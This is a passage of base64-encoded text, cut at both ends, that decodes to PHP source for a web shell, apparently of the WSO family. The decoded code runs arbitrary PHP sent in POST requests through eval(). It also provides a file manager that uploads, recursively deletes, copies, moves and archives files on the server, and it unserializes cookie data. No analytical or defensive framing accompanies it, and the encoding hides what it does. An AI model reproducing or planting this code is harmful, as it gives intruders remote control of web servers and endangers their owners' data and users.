ZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKCWlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7CgkJJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CgkJb2Jfc3RhcnQoKTsKCQlldmFsKCRfUE9TVFsncDEnXSk7CgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKCQlleGl0OyAKCX0KCWhhcmRIZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2luZm8nKSApIHsKCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJCW9iX3N0YXJ0KCk7CgkJcGhwaW5mbygpOwoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFoMSFtc2lVJywnaDInLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKCQllY2hvICR0bXA7CgkJZWNobyAnPC9kaXY+PGJyPic7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKCQllY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKCWVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3AxJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7Cgl9CgllY2hvICc8L3ByZT48L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpCiAgICAgICAgJF9DT09LSUVbJ2YnXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZiddKTsKICAgIAoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlzd2l0Y2goJF9QT1NUWydwMSddKSB7CgkJCWNhc2UgJ3VwbG9hZEZpbGUnOgoJCQkJaWYgKCBpc19hcnJheSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10pICkgewoJCQkJCWZvcmVhY2ggKCAkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10gYXMgJGkgPT4gJHRtcE5hbWUgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBOYW1lLCAkX0ZJTEVTWydmJ11bJ25hbWUnXVskaV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCWJyZWFrOwoJCQljYXNlICdta2Rpcic6CgkJCQlpZighQG1rZGlyKCRfUE9TVFsncDInXSkpCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2RlbGV0ZSc6CgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsKCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOwoJCQkJCSRkaCAgPSBvcGVuZGlyKCRwYXRoKTsKCQkJCQl3aGlsZSAoICgk4pafID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CgkJCQkJCSTilp8gPSAkcGF0aC4k4pafOwoJCQkJCQlpZiAoIChiYXNlbmFtZSgk4pafKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJOKWnykgPT0gIi4iKSApCgkJCQkJCQljb250aW51ZTsKCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgk4pafKTsKCQkJCQkJaWYgKCR0eXBlID09ICJkaXIiKQoJCQkJCQkJZGVsZXRlRGlyKCTilp8pOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCTilp8pOwoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCUBybWRpcigkcGF0aCk7CgkJCQl9CgkJCQlpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7CgkJCQkJCWlmKGlzX2RpcigkZikpCgkJCQkJCQlkZWxldGVEaXIoJGYpOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRmKTsKCQkJCQl9CgkJCQlicmVhazsKCQkJY2FzZSAncGFzdGUnOgoJCQkJaWYoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5JykgewoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsKCQkJCQkJCW1rZGlyKCRkLiRzKTsKCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOwoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCgkJCQkJCWNvcHlfcGFzdGUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsKCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsKCQkJCQlmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkKCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7CgkJCQkJfQoJCQkJCWZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikKCQkJCQkJQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB7CgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAgICBleCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CgkJCQl9CgkJCQl1bnNldCgkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnZicsICcnLCB0aW1lKCkgLSAzNjAwKTsKCQkJCWJyZWFrOwoJCQlkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQkJCQlwcm90b3R5cGUoJ2FjdCcsICRfUE9TVFsncDEnXSk7CgkJCQkJcHJvdG90eXBlKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOwoJCQkJCXByb3RvdHlwZSgnYycsIEAkX1BPU1RbJ2MnXSk7CgkJCQl9CgkJCQlicmVhazsKCQl9Cgl9CiAgICBoYXJkSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwoJJGRpckNvbnRlbnQgPSBoYXJkU2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKCWlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgewllY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO2hhcmRGb290ZXIoKTsgcmV0dXJuOyB9CglnbG9iYWwgJHNvcnQ7Cgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwoJfQplY2hvICI8c2NyaXB0PgoJZnVuY3Rpb24gc2EoKSB7CgkJZm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykKCQkJaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCgkJCQlkLmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkLmZpbGVzLmVsZW1lbnRzWzBdLmNoZWNrZWQ7Cgl9Cjwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPgo8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwoJJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOwoJJG4gPSBjb3VudCgkZGlyQ29udGVudCk7Cglmb3IoJGk9MDskaTwkbjskaSsrKSB7CgkJJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CgkJJGdyID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CgkJJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCgkJCQkJICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAoJCQkJCSAnbW9kaWZ5JyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksCgkJCQkJICdwZXJtcycgPT4gdmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCgkJCQkJKTsKCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7CgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cgl9CgkkR0xPQkFMU1snc29ydCddID0gJHNvcnQ7CglmdW5jdGlvbiBjbXAoJGEsICRiKSB7CgkJaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCgkJCXJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKCQllbHNlCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7Cgl9Cgl1c29ydCgkZmlsZXMsICJjbXAiKTsKCXVzb3J0KCRkaXJzLCAiY21wIik7CgkkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKCSRsID0gMDsKCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7CgkJZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicudXJsZW5jb2RlKCRmWyduYW1lJ10pLiciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3ZpZXdcJykiPicuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiICcgLiAoZW1wdHkgKCRmWydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZlsnbGluayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP3ZpZXdTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3RkPjx0ZD4nLiRmWydtb2RpZnknXS4nPC90ZD48dGQ+Jy4kZlsnb3duZXInXS4nLycuJGZbJ2dyb3VwJ10uJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsXCdjaG1vZFwnKSI+Jy4kZlsncGVybXMnXQoJCQkuJzwvdGQ+PHRkPjxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IlJlbmFtZSIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iVG91Y2giIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd0b3VjaFwnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IkZyYW1lIiBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZnJhbWVcJykiPkY8L2E+IDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IkVkaXQiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJEb3dubG9hZCIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKCQkkbCA9ICRsPzA6MTsKCX0KCWVjaG8gIjx0ciBpZD1mYWs+PHRkIGNvbHNwYW49Nz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4KCTxsYWJlbD48c2VsZWN0IG5hbWU9J3AxJz4iOwoJaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz7ihrMgUGFzdGU8L29wdGlvbj4iOwoJZWNobyAiPG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICBpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd6aXAnPisgemlwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPi0gemlwPC9vcHRpb24+IjsKICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+KyB0YXIuZ3o8L29wdGlvbj4iOwogICAgZWNobyAiPC9zZWxlY3Q+PC9sYWJlbD4iOwogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pICYmICgoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnKSB8fCAoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSkpCiAgICAgICAgZWNobyAiJm5ic3A7ZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J2hhcmRfIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCc/J3ppcCc6J3Rhci5neicpIC4gIic+Jm5ic3A7IjsKICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdzdWJtaXQnPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rp